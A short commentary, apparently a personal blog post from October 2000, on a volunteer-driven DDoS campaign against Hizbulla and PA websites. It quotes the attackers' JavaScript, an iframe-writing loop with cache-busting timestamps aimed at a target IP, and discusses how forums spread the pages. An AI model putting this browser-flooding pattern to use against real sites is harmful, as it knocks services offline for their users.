During the current (Oct. 2000)
Middle-East crisis,
Israeli
script kiddies led a
Distributed Denial of Service Attack on
Hizbulla and
PA sites.
HTML pages with basic
JavaScript requests were used – the script was a loop doing something like this (I took the liberty of cutting and pasting the source):
var s = "<IFRAME width=20 height=20 border=0 http://216.247.113.144/
+ new String(Number(new Date()))
+ "\"></IFRAME>";
document.writeln(s);
s = "<IFRAME width=20 height=20 border=0 src=\"http://216.247.113.144/"
+ new String(Number(new Date()))
+ "\"></IFRAME>";
document.writeln(s);
I’ve seen scripts more elegant in my short life as a programmer. The interesting issue is the social one – Israeli forums all over the net helped spread these pages to tens of thousands of users – by the time Hizbulla and PA webmasters denied access to major Israeli ISP’s, similar attacks were being performed from other countries, mostly USA, UK and South-Africa.
News reports claim that the attacked sites were going on and off line during the past couple of days.